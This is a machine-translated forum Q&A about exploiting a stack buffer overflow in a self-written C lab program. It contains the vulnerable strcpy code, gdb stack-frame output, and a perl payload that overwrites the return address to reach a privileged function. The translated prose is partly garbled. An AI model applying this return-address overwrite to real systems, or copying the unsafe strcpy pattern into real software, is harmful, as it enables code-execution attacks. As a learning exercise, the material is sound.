#include <stdio.h>
#include <string.h>
#include <unistd.h>
void public(char *args) {
char buff[12];
memset(buff, 'B', sizeof(buff));
strcpy(buff, args);
printf("\nbuff: [%s] (%p)(%d)\n\n", &buff, buff, sizeof(buff));
}
void secret(void) {
printf("SECRET\n");
exit(0);
}
int main(int argc, char *argv[]) {
int uid;
uid = getuid();
// Only when the user is root
if (uid == 0)
secret();
if (argc > 1) {
public(argv[1]);
}
else
printf("Kein Argument!\n");
}
当启动程序的用户是root时,将调用
secret()
方法,否则,将在public(...)
方法我正在使用debian-gnome x64,所以我必须将其专门编译为x86才能获得x86汇编(我比x64更好)。
我用gcc编译了程序:
gcc ret.c -o ret -m32 -g -fno-stack-protector
目标:
我想以root用户身份调用方法
secret()
。 {为此,我必须用函数R
的地址覆盖I
eturn P
指令RIP
ointer(secret()
)}漏洞:方法
public(...)
使用将不安全的strcpy()
方法插入到char-array
抛光机中。因此,当用户使用arg> 11启动程序时,有可能覆盖堆栈上的数据。其中arg应该是字符串arg的长度。必填信息:
函数
secret()
的地址。第一个缓冲区的第一个元素的地址。由于
ASCII
-Encoding,我知道每个char
的大小均为1 byte
,因此缓冲区的最后一个元素是第一个元素前面的12 bytes
。 br />可选:它还有助于了解RIP
的地址secret()
rame S
ointer(F
)。方法方法上的方法:进入
P
:SFP
。要全面了解
gdb
方法的整个堆栈框架,我必须在其中设置一个断点,gdb -q ret
从此处开始。这是在public(...)
行的括号function-epilogue
处。在断点处,我现在要查看堆栈框架。(gdb) info frame 0
Stack frame at 0xffffd2f0:
eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c
called by frame at 0xffffd330
source language c.
Arglist at 0xffffd2e8, args: args=0xffffd575 "A"
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
因此,我可以收集以下信息:
}
位于11
并包含地址run A
,其中包含指令RIP
。0xffffd2ec
位于0x804858c
。开始:(gdb)打印密码
$ 2 = {void(void)} 0x804852f
最后,但并非最不重要的是,我得到了缓冲区的地址:
(gdb) print/x &buff
= 0xffffd2d4
总结起来: >
0x804858c <main+61>: add SFP
x10,%esp
位于0xffffd2e8
。secret()
位于RIP
。0xffffd2ec
位于SFP
我将必须使用0xffffd2e8
-buff
+ 0xffffd2d4
= 0xffffd2ec
(= 0xffffd2d4
s)运行程序。而la st 0x04
包含函数28 bytes
的地址(并注意小尾数的顺序):(gdb) run `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2
f
f] (0xffffd2b4)(12)
Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()
出现两个问题: />
为什么不起作用。这个例子基本上是我正在阅读的一本旧书。但是从理论上讲它应该起作用,所以我认为....
为什么在
char
和28 bytes
之间存在4 bytes
的差距? 编辑:这是二进制文件的下载链接。
#1 楼
为什么不起作用。这个例子基本上是我正在阅读的一本旧书。但是从理论上讲它应该起作用,所以我认为....
这是因为您正在用
0xffffd2ec
而不是0x0804852f
覆盖堆栈上的返回地址(后者是secret()
的地址)。如果您改用
'{print "A"x24; print "\x2f"; }'
,它应该可以工作。为什么在
buff
和SFP
之间存在8-byte
间隙?该内存区域包含什么?该差距可能是由于gcc尝试进行了优化。内存区域不包含任何内容(从技术上讲,它包含8个字节,其值是不确定的),并且
public()
函数中的代码既不读取也不写入该内存区域。评论
谢谢!没错,我没有用secret()的地址覆盖RIP。但是您忘记了反转字节顺序(这是小尾数)。
– JDoens
2015年10月4日在20:24
接得好;只是固定字节顺序。
–詹森·格夫纳(Jason Geffner)
15年10月4日在21:03
评论
如果您可以提供指向二进制文件的链接,则会有所帮助。谢谢你想帮助我!那是到二进制文件的链接。